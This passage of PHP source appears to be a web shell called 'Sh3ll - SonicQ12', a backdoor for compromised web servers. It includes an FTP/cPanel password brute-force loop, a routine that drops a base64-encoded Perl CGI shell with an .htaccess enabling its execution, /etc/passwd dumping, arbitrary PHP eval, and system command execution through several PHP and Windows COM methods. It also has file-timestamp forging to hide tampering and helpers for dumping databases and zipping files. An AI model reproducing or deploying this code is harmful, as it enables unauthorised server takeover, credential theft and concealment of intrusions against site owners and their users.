  1303. foreach ($passlist as $password ) {
  1304. $_pass = trim($password);
  1305. if($option == "ftp"){
  1306. ftp_check($target,$_user,$_pass,$connect_timeout);
  1307. }
  1308. if ($option == "cpanel")
  1309. {
  1310. cpanel_check($target,$_user,$_pass,$connect_timeout);
  1311. }
  1312. }
  1313. }
  1314. }
  1315. formfoot();
  1316. }
  1317. //Cgi Create
  1318. elseif ($action == 'cgi')
  1319. {
  1320. mkdir('sonic', 0755);
  1321. chdir('sonic');
  1322. $hta_file = '.htaccess';
  1323. $create_hta = fopen($hta_file, 'w');
  1324. $hta_code = 'Options FollowSymLinks MultiViews Indexes ExecCGI
  1325. AddType application/x-httpd-cgi .sonicq12
  1326. AddHandler cgi-script .sonicq12
  1327. AddHandler cgi-script .sonicq12';
  1328. fwrite($create_hta, $hta_code);
  1329. fclose($create_hta);
  1330. $cgi_code = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+Q0dJIHNoZWxsPC9iPiAjIHNlcnZlcgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t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vIHVwbG9hZCBhIGZpbGUKewoJJlVwbG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAjIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlCnsKCSZEb3dubG9hZEZpbGU7Cn0KZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dAp7CgkmUGVyZm9ybUxvZ291dDsKfQ==';
  1331. $cgi_file = 'izo.sonicq12';
  1332. $create_cgi = fopen($cgi_file, 'w+');
  1333. fwrite($create_cgi,base64_decode($cgi_code));
  1334. fclose($create_cgi);
  1335. chmod($cgi_file, 0755);
  1336. echo '<br />Open <a href="sonic/.htaccess" target="_blank">.Htaccess</a><br />';
  1337. echo 'Open <a href="sonic/izo.sonicq12" target="_blank"> Open CGI </a>';
  1338. }
  1339. elseif ($action == 'etcpwd') {
  1340. formhead(array('title'=>'Get /etc/passwd'));
  1341. makehide('action','etcpwd');
  1342. makehide('dir',$nowpath);
  1343. $i = 0;
  1344. echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
  1345. while ($i < 60000) {
  1346. $line = posix_getpwuid($i);
  1347. if (!empty($line)) {
  1348. while (list ($key, $vba_etcpwd) = each($line)){
  1349. echo "".$vba_etcpwd."\n";
  1350. break;
  1351. }
  1352. }
  1353. $i++;
  1354. }
  1355. echo "</textarea></p>";
  1356. formfoot();
  1357. }
  1358. elseif ($action == 'eval') {
  1359. $phpcode = trim($phpcode);
  1360. if($phpcode){
  1361. if (!preg_match('#<\?#si', $phpcode)) {
  1362. $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  1363. }
  1364. eval("?".">$phpcode<?");
  1365. }
  1366. formhead(array('title'=>'Eval PHP Code'));
  1367. makehide('action','eval');
  1368. maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  1369. formfooter();
  1370. }
  1371. elseif ($action == 'editfile') {
  1372. if(file_exists($opfile)) {
  1373. $fp=@fopen($opfile,'r');
  1374. $contents=@fread($fp, filesize($opfile));
  1375. @fclose($fp);
  1376. $contents=htmlspecialchars($contents);
  1377. }
  1378. formhead(array('title'=>'Create / Edit File'));
  1379. makehide('action','file');
  1380. makehide('dir',$nowpath);
  1381. makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1382. maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1383. formfooter();
  1384. }
  1385. elseif ($action == 'newtime') {
  1386. $opfilemtime = @filemtime($opfile);
  1387. $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1388. formhead(array('title'=>'Clone file was last modified time'));
  1389. makehide('action','file');
  1390. makehide('dir',$nowpath);
  1391. makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1392. makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1393. formfooter();
  1394. formhead(array('title'=>'Set last modified'));
  1395. makehide('action','file');
  1396. makehide('dir',$nowpath);
  1397. makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1398. p('<p>Instead &raquo;');
  1399. p('year:');
  1400. makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1401. p('month:');
  1402. makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1403. p('day:');
  1404. makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1405. p('hour:');
  1406. makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1407. p('minute:');
  1408. makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1409. p('second:');
  1410. makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1411. p('</p>');
  1412. formfooter();
  1413. }
  1414. elseif ($action == 'shell') {
  1415. if (IS_WIN && IS_COM) {
  1416. if($program && $parameter) {
  1417. $shell= new COM('Shell.Application');
  1418. $a = $shell->ShellExecute($program,$parameter);
  1419. m('Program run has '.(!$a ? 'success' : 'fail'));
  1420. }
  1421. !$program && $program = 'c:\windows\system32\cmd.exe';
  1422. !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1423. formhead(array('title'=>'Execute Program'));
  1424. makehide('action','shell');
  1425. makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1426. p('<p>');
  1427. makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1428. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1429. p('</p>');
  1430. formfoot();
  1431. }
  1432. formhead(array('title'=>'Execute Command'));
  1433. makehide('action','shell');
  1434. if (IS_WIN && IS_COM) {
  1435. $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1436. makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1437. }
  1438. p('<p>');
  1439. makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1440. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1441. p('</p>');
  1442. formfoot();
  1443. if ($command) {
  1444. p('<hr width="100%" noshade /><pre>');
  1445. if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1446. $wsh = new COM('WScript.shell');
  1447. $exec = $wsh->exec('cmd.exe /c '.$command);
  1448. $stdout = $exec->StdOut();
  1449. $stroutput = $stdout->ReadAll();
  1450. echo $stroutput;
  1451. } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1452. $descriptorspec = array(
  1453. 0 => array('pipe', 'r'),
  1454. 1 => array('pipe', 'w'),
  1455. 2 => array('pipe', 'w')
  1456. );
  1457. $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1458. if (is_resource($process)) {
  1459. fwrite($pipes[0], $command."\r\n");
  1460. fwrite($pipes[0], "exit\r\n");
  1461. fclose($pipes[0]);
  1462. while (!feof($pipes[1])) {
  1463. echo fgets($pipes[1], 1024);
  1464. }
  1465. fclose($pipes[1]);
  1466. while (!feof($pipes[2])) {
  1467. echo fgets($pipes[2], 1024);
  1468. }
  1469. fclose($pipes[2]);
  1470. proc_close($process);
  1471. }
  1472. } else {
  1473. echo(execute($command));
  1474. }
  1475. p('</pre>');
  1476. }
  1477. }
  1478. elseif ($action == 'phpenv') {
  1479. $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  1480. $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  1481. !$dis_func && $dis_func = 'No';
  1482. $info = array(
  1483. 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  1484. 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  1485. 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  1486. 4 => array('Server OS',PHP_OS),
  1487. 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  1488. 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  1489. 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  1490. 8 => array('PHP run mode',strtoupper(php_sapi_name())),
  1491. 9 => array('The file path',__FILE__),
  1492. 10 => array('PHP Version',PHP_VERSION),
  1493. 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
  1494. 12 => array('Safe Mode',getcfg('safe_mode')),
  1495. 13 => array('Administrator',$adminmail),
  1496. 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  1497. 15 => array('enable_dl',getcfg('enable_dl')),
  1498. 16 => array('display_errors',getcfg('display_errors')),
  1499. 17 => array('register_globals',getcfg('register_globals')),
  1500. 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  1501. 19 => array('memory_limit',getcfg('memory_limit')),
  1502. 20 => array('post_max_size',getcfg('post_max_size')),
  1503. 21 => array('upload_max_filesize',$upsize),
  1504. 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  1505. 23 => array('disable_functions',$dis_func),
  1506. );
  1507. if($phpvarname) {
  1508. m($phpvarname .' : '.getcfg($phpvarname));
  1509. }
  1510. formhead(array('title'=>'Server environment'));
  1511. makehide('action','phpenv');
  1512. makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  1513. formfooter();
  1514. $hp = array(0=> 'Server', 1=> 'PHP');
  1515. for($a=0;$a<2;$a++) {
  1516. p('<h2>'.$hp[$a].' &raquo;</h2>');
  1517. p('<ul class="info">');
  1518. if ($a==0) {
  1519. for($i=1;$i<=9;$i++) {
  1520. p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1521. }
  1522. } elseif ($a == 1) {
  1523. for($i=10;$i<=23;$i++) {
  1524. p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1525. }
  1526. }
  1527. p('</ul>');
  1528. }
  1529. }
  1530. else {
  1531. m('Undefined Action');
  1532. }
  1533. ?>
  1534. </td></tr></table>
  1535. <div style="padding:10px;">
  1536. <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1537. Copyright (C) 2013/2014 Developed by <font title="SonicQ12">SonicQ12</font>
  1538. </div>
  1539. </body>
  1540. </html>
  1541. <?php
  1542. function m($msg) {
  1543. echo '<div style="background:#00b000;border:1px solid #006700;padding:15px;font:14px;color:#ffffff;text-align:center;font-weight:bold;">';
  1544. echo $msg;
  1545. echo '</div>';
  1546. }
  1547. function scookie($key, $value, $life = 0, $prefix = 1) {
  1548. //global $admin, $timestamp, $_SERVER;
  1549. //$key = ($prefix ? $admin['cookiepre'] : '').$key;
  1550. //$life = $life ? $life : $admin['cookielife'];
  1551. //$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1552. $_SESSION[$key] = $value;
  1553. //setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1554. }
  1555. function multi($num, $perpage, $curpage, $tablename) {
  1556. $multipage = '';
  1557. if($num > $perpage) {
  1558. $page = 10;
  1559. $offset = 5;
  1560. $pages = @ceil($num / $perpage);
  1561. if($page > $pages) {
  1562. $from = 1;
  1563. $to = $pages;
  1564. } else {
  1565. $from = $curpage - $offset;
  1566. $to = $curpage + $page - $offset - 1;
  1567. if($from < 1) {
  1568. $to = $curpage + 1 - $from;
  1569. $from = 1;
  1570. if(($to - $from) < $page && ($to - $from) < $pages) {
  1571. $to = $page;
  1572. }
  1573. } elseif($to > $pages) {
  1574. $from = $curpage - $pages + $to;
  1575. $to = $pages;
  1576. if(($to - $from) < $page && ($to - $from) < $pages) {
  1577. $from = $pages - $page + 1;
  1578. }
  1579. }
  1580. }
  1581. $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1582. for($i = $from; $i <= $to; $i++) {
  1583. $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
  1584. }
  1585. $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
  1586. $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
  1587. }
  1588. return $multipage;
  1589. }
  1590. function loginpage() {
  1591. ?>
  1592. <html>
  1593. <head>
  1594. <link rel="icon" href="http://thumbs.dreamstime.com/thumb_411/12455464854iEKQ2.jpg" type="image/x-icon">
  1595. <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
  1596. <title>Sh3ll - SonicQ12</title>
  1597. <script type="text/javascript">
  1598. var adfly_id = 6099598;
  1599. var adfly_advert = 'int';
  1600. var frequency_cap = 5;
  1601. var frequency_delay = 5;
  1602. var init_delay = 3;
  1603. </script>
  1604. <script src="https://cdn.adf.ly/js/entry.js"></script>
  1605. <style type="text/css">
  1606. body{
  1607. color: #00FF00;
  1608. }
  1609. A:link {text-decoration: none; color: green }
  1610. A:visited {text-decoration: none;color:#00FF00}
  1611. A:active {text-decoration: none}
  1612. A:hover {text-decoration: underline; color: green;}
  1613. input, textarea, button{
  1614. font-size: 9pt;
  1615. color: #00FF00;
  1616. font-family: verdana, sans-serif;
  1617. background-color: #202020;
  1618. border-left: 1px solid #00FF00;
  1619. border-top: 1px solid #00FF00;
  1620. border-right: 1px solid #00FF00;
  1621. border-bottom: 1px solid #00FF00;
  1622. }
  1623. div{
  1624. border-style: dotted solid;
  1625. box-shadow: 2px 3px green;
  1626. }
  1627. </style>
  1628. </head>
  1629. <body bgcolor=black>
  1630. <center>
  1631. <form method="POST">
  1632. <div style="width: 350px;">
  1633. <table>
  1634. <tr><td align="center" colspan="2"> [ ACCESS DENIED ] </td></tr>
  1635. <tr><td align="center">Your IP: </td><td align="center"><?=$_SERVER['REMOTE_ADDR']?></td></tr>
  1636. <tr><td align="center">Password: </td><td align="center"><input type="password" name="password" /></td></tr>
  1637. <tr><td colspan="2" align="right"><input type="hidden" name="login" value="login"/><input type="submit" value="Login"/></td></tr>
  1638. </table>
  1639. </div>
  1640. </form>
  1641. </center>
  1642. </body>
  1643. </html>
  1644. <?php
  1645. exit;
  1646. }
  1647. function execute($cfe) {
  1648. $res = '';
  1649. if ($cfe) {
  1650. if(function_exists('exec')) {
  1651. @exec($cfe,$res);
  1652. $res = join("\n",$res);
  1653. } elseif(function_exists('shell_exec')) {
  1654. $res = @shell_exec($cfe);
  1655. } elseif(function_exists('system')) {
  1656. @ob_start();
  1657. @system($cfe);
  1658. $res = @ob_get_contents();
  1659. @ob_end_clean();
  1660. } elseif(function_exists('passthru')) {
  1661. @ob_start();
  1662. @passthru($cfe);
  1663. $res = @ob_get_contents();
  1664. @ob_end_clean();
  1665. } elseif(@is_resource($f = @popen($cfe,"r"))) {
  1666. $res = '';
  1667. while(!@feof($f)) {
  1668. $res .= @fread($f,1024);
  1669. }
  1670. @pclose($f);
  1671. }
  1672. }
  1673. return $res;
  1674. }
  1675. function which($pr) {
  1676. $path = execute("which $pr");
  1677. return ($path ? $path : $pr);
  1678. }
  1679. function cf($fname,$text){
  1680. if($fp=@fopen($fname,'w')) {
  1681. @fputs($fp,@base64_decode($text));
  1682. @fclose($fp);
  1683. }
  1684. }
  1685. function debuginfo() {
  1686. global $starttime;
  1687. $mtime = explode(' ', microtime());
  1688. $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
  1689. echo 'Processed in '.$totaltime.' second(s)';
  1690. }
  1691. function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
  1692. if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
  1693. p('<h2>Can not connect to MySQL server</h2>');
  1694. exit;
  1695. }
  1696. if($link && $dbname) {
  1697. if (!@mysql_select_db($dbname, $link)) {
  1698. p('<h2>Database selected has error</h2>');
  1699. exit;
  1700. }
  1701. }
  1702. if($link && mysql_get_server_info() > '4.1') {
  1703. if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
  1704. q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
  1705. }
  1706. }
  1707. return $link;
  1708. }
  1709. function s_array(&$array) {
  1710. if (is_array($array)) {
  1711. foreach ($array as $k => $v) {
  1712. $array[$k] = s_array($v);
  1713. }
  1714. } else if (is_string($array)) {
  1715. $array = stripslashes($array);
  1716. }
  1717. return $array;
  1718. }
  1719. function html_clean($content) {
  1720. $content = htmlspecialchars($content);
  1721. $content = str_replace("\n", "<br />", $content);
  1722. $content = str_replace(" ", "&nbsp;&nbsp;", $content);
  1723. $content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
  1724. return $content;
  1725. }
  1726. function getChmod($filepath){
  1727. return substr(base_convert(@fileperms($filepath),10,8),-4);
  1728. }
  1729. function getPerms($filepath) {
  1730. $mode = @fileperms($filepath);
  1731. if (($mode & 0xC000) === 0xC000) {$type = 's';}
  1732. elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
  1733. elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
  1734. elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
  1735. elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
  1736. elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
  1737. elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
  1738. else {$type = '?';}
  1739. $owner['read'] = ($mode & 00400) ? 'r' : '-';
  1740. $owner['write'] = ($mode & 00200) ? 'w' : '-';
  1741. $owner['execute'] = ($mode & 00100) ? 'x' : '-';
  1742. $group['read'] = ($mode & 00040) ? 'r' : '-';
  1743. $group['write'] = ($mode & 00020) ? 'w' : '-';
  1744. $group['execute'] = ($mode & 00010) ? 'x' : '-';
  1745. $world['read'] = ($mode & 00004) ? 'r' : '-';
  1746. $world['write'] = ($mode & 00002) ? 'w' : '-';
  1747. $world['execute'] = ($mode & 00001) ? 'x' : '-';
  1748. if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
  1749. if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
  1750. if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
  1751. return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
  1752. }
  1753. function getUser($filepath) {
  1754. if (function_exists('posix_getpwuid')) {
  1755. $array = @posix_getpwuid(@fileowner($filepath));
  1756. if ($array && is_array($array)) {
  1757. return ' / <a href="#" title="User: '.$array['name'].'&#13&#10Passwd: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10Dir: '.$array['dir'].'&#13&#10Shell: '.$array['shell'].'">'.$array['name'].'</a>';
  1758. }
  1759. }
  1760. return '';
  1761. }
  1762. function deltree($deldir) {
  1763. $mydir=@dir($deldir);
  1764. while($file=$mydir->read()) {
  1765. if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
  1766. @chmod($deldir.'/'.$file,0777);
  1767. deltree($deldir.'/'.$file);
  1768. }
  1769. if (is_file($deldir.'/'.$file)) {
  1770. @chmod($deldir.'/'.$file,0777);
  1771. @unlink($deldir.'/'.$file);
  1772. }
  1773. }
  1774. $mydir->close();
  1775. @chmod($deldir,0777);
  1776. return @rmdir($deldir) ? 1 : 0;
  1777. }
  1778. function bg() {
  1779. global $bgc;
  1780. return ($bgc++%2==0) ? 'alt1' : 'alt2';
  1781. }
  1782. function getPath($scriptpath, $nowpath) {
  1783. if ($nowpath == '.') {
  1784. $nowpath = $scriptpath;
  1785. }
  1786. $nowpath = str_replace('\\', '/', $nowpath);
  1787. $nowpath = str_replace('//', '/', $nowpath);
  1788. if (substr($nowpath, -1) != '/') {
  1789. $nowpath = $nowpath.'/';
  1790. }
  1791. return $nowpath;
  1792. }
  1793. function getUpPath($nowpath) {
  1794. $pathdb = explode('/', $nowpath);
  1795. $num = count($pathdb);
  1796. if ($num > 2) {
  1797. unset($pathdb[$num-1],$pathdb[$num-2]);
  1798. }
  1799. $uppath = implode('/', $pathdb).'/';
  1800. $uppath = str_replace('//', '/', $uppath);
  1801. return $uppath;
  1802. }
  1803. function getcfg($varname) {
  1804. $result = get_cfg_var($varname);
  1805. if ($result == 0) {
  1806. return 'No';
  1807. } elseif ($result == 1) {
  1808. return 'Yes';
  1809. } else {
  1810. return $result;
  1811. }
  1812. }
  1813. function getfun($funName) {
  1814. return (false !== function_exists($funName)) ? 'Yes' : 'No';
  1815. }
  1816. function GetList($dir){
  1817. global $dirdata,$j,$nowpath;
  1818. !$j && $j=1;
  1819. if ($dh = opendir($dir)) {
  1820. while ($file = readdir($dh)) {
  1821. $f=str_replace('//','/',$dir.'/'.$file);
  1822. if($file!='.' && $file!='..' && is_dir($f)){
  1823. if (is_writable($f)) {
  1824. $dirdata[$j]['filename']=str_replace($nowpath,'',$f);
  1825. $dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
  1826. $dirdata[$j]['dirchmod']=getChmod($f);
  1827. $dirdata[$j]['dirperm']=getPerms($f);
  1828. $dirdata[$j]['dirlink']=ue($dir);
  1829. $dirdata[$j]['server_link']=$f;
  1830. $dirdata[$j]['client_link']=ue($f);
  1831. $j++;
  1832. }
  1833. GetList($f);
  1834. }
  1835. }
  1836. closedir($dh);
  1837. clearstatcache();
  1838. return $dirdata;
  1839. } else {
  1840. return array();
  1841. }
  1842. }
  1843. function qy($sql) {
  1844. $res = $error = '';
  1845. if(!$res = @mysql_query($sql)) {
  1846. return 0;
  1847. } else if(is_resource($res)) {
  1848. return 1;
  1849. } else {
  1850. return 2;
  1851. }
  1852. return 0;
  1853. }
  1854. function q($sql) {
  1855. return @mysql_query($sql);
  1856. }
  1857. function fr($qy){
  1858. mysql_free_result($qy);
  1859. }
  1860. function sizecount($size) {
  1861. if($size > 1073741824) {
  1862. $size = round($size / 1073741824 * 100) / 100 . ' G';
  1863. } elseif($size > 1048576) {
  1864. $size = round($size / 1048576 * 100) / 100 . ' M';
  1865. } elseif($size > 1024) {
  1866. $size = round($size / 1024 * 100) / 100 . ' K';
  1867. } else {
  1868. $size = $size . ' B';
  1869. }
  1870. return $size;
  1871. }
  1872. class PHPZip{
  1873. var $out='';
  1874. function PHPZip($dir) {
  1875. if (@function_exists('gzcompress')) {
  1876. $curdir = getcwd();
  1877. if (is_array($dir)) $filelist = $dir;
  1878. else{
  1879. $filelist=$this -> GetFileList($dir);
  1880. foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
  1881. }
  1882. if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
  1883. else chdir($curdir);
  1884. if (count($filelist)>0){
  1885. foreach($filelist as $filename){
  1886. if (is_file($filename)){
  1887. $fd = fopen ($filename, 'r');
  1888. $content = @fread ($fd, filesize($filename));
  1889. fclose ($fd);
  1890. if (is_array($dir)) $filename = basename($filename);
  1891. $this -> addFile($content, $filename);
  1892. }
  1893. }
  1894. $this->out = $this -> file();
  1895. chdir($curdir);
  1896. }
  1897. return 1;
  1898. }
  1899. else return 0;
  1900. }
  1901. function GetFileList($dir){
  1902. static $a;
  1903. if (is_dir($dir)) {
  1904. if ($dh = opendir($dir)) {
  1905. while ($file = readdir($dh)) {
  1906. if($file!='.' && $file!='..'){
  1907. $f=$dir .'/'. $file;
  1908. if(is_dir($f)) $this->GetFileList($f);
  1909. $a[]=$f;
  1910. }
  1911. }
  1912. closedir($dh);
  1913. }
  1914. }
  1915. return $a;
  1916. }
  1917. var $datasec = array();
  1918. var $ctrl_dir = array();
  1919. var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
  1920. var $old_offset = 0;
  1921. function unix2DosTime($unixtime = 0) {
  1922. $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
  1923. if ($timearray['year'] < 1980) {
  1924. $timearray['year'] = 1980;
  1925. $timearray['mon'] = 1;
  1926. $timearray['mday'] = 1;
  1927. $timearray['hours'] = 0;
  1928. $timearray['minutes'] = 0;
  1929. $timearray['seconds'] = 0;
  1930. }
  1931. return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
  1932. ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
  1933. }
  1934. function addFile($data, $name, $time = 0) {
  1935. $name = str_replace('\\', '/', $name);
  1936. $dtime = dechex($this->unix2DosTime($time));
  1937. $hexdtime = '\x' . $dtime[6] . $dtime[7]
  1938. . '\x' . $dtime[4] . $dtime[5]
  1939. . '\x' . $dtime[2] . $dtime[3]
  1940. . '\x' . $dtime[0] . $dtime[1];
  1941. eval('$hexdtime = "' . $hexdtime . '";');
  1942. $fr = "\x50\x4b\x03\x04";
  1943. $fr .= "\x14\x00";
  1944. $fr .= "\x00\x00";
  1945. $fr .= "\x08\x00";
  1946. $fr .= $hexdtime;
  1947. $unc_len = strlen($data);
  1948. $crc = crc32($data);
  1949. $zdata = gzcompress($data);
  1950. $c_len = strlen($zdata);
  1951. $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
  1952. $fr .= pack('V', $crc);
  1953. $fr .= pack('V', $c_len);
  1954. $fr .= pack('V', $unc_len);
  1955. $fr .= pack('v', strlen($name));
  1956. $fr .= pack('v', 0);
  1957. $fr .= $name;
  1958. $fr .= $zdata;
  1959. $fr .= pack('V', $crc);
  1960. $fr .= pack('V', $c_len);
  1961. $fr .= pack('V', $unc_len);
  1962. $this -> datasec[] = $fr;
  1963. $new_offset = strlen(implode('', $this->datasec));
  1964. $cdrec = "\x50\x4b\x01\x02";
  1965. $cdrec .= "\x00\x00";
  1966. $cdrec .= "\x14\x00";
  1967. $cdrec .= "\x00\x00";
  1968. $cdrec .= "\x08\x00";
  1969. $cdrec .= $hexdtime;
  1970. $cdrec .= pack('V', $crc);
  1971. $cdrec .= pack('V', $c_len);
  1972. $cdrec .= pack('V', $unc_len);
  1973. $cdrec .= pack('v', strlen($name) );
  1974. $cdrec .= pack('v', 0 );
  1975. $cdrec .= pack('v', 0 );
  1976. $cdrec .= pack('v', 0 );
  1977. $cdrec .= pack('v', 0 );
  1978. $cdrec .= pack('V', 32 );
  1979. $cdrec .= pack('V', $this -> old_offset );
  1980. $this -> old_offset = $new_offset;
  1981. $cdrec .= $name;
  1982. $this -> ctrl_dir[] = $cdrec;
  1983. }
  1984. function file() {
  1985. $data = implode('', $this -> datasec);
  1986. $ctrldir = implode('', $this -> ctrl_dir);
  1987. return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
  1988. }
  1989. }
  1990. function sqldumptable($table, $fp=0) {
  1991. $tabledump = "DROP TABLE IF EXISTS $table;\n";
  1992. $tabledump .= "CREATE TABLE $table (\n";
  1993. $firstfield=1;
  1994. $fields = q("SHOW FIELDS FROM $table");
  1995. while ($field = mysql_fetch_array($fields)) {
  1996. if (!$firstfield) {
  1997. $tabledump .= ",\n";
  1998. } else {
  1999. $firstfield=0;
  2000. }
  2001. $tabledump .= " $field[Field] $field[Type]";
  2002. if (!empty($field["Default"])) {
  2003. $tabledump .= " DEFAULT '$field[Default]'";
  2004. }
  2005. if ($field['Null'] != "YES") {
  2006. $tabledump .= " NOT NULL";
  2007. }
  2008. if ($field['Extra'] != "") {
  2009. $tabledump .= " $field[Extra]";
  2010. }
  2011. }
  2012. fr($fields);
  2013. $keys = q("SHOW KEYS FROM $table");
  2014. while ($key = mysql_fetch_array($keys)) {
  2015. $kname=$key['Key_name'];
  2016. if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
  2017. $kname="UNIQUE|$kname";
  2018. }
  2019. if(!is_array($index[$kname])) {
  2020. $index[$kname] = array();
  2021. }
  2022. $index[$kname][] = $key['Column_name'];
  2023. }
  2024. fr($keys);
  2025. while(list($kname, $columns) = @each($index)) {
  2026. $tabledump .= ",\n";
  2027. $colnames=implode($columns,",");
  2028. if ($kname == "PRIMARY") {
  2029. $tabledump .= " PRIMARY KEY ($colnames)";
  2030. } else {
  2031. if (substr($kname,0,6) == "UNIQUE") {
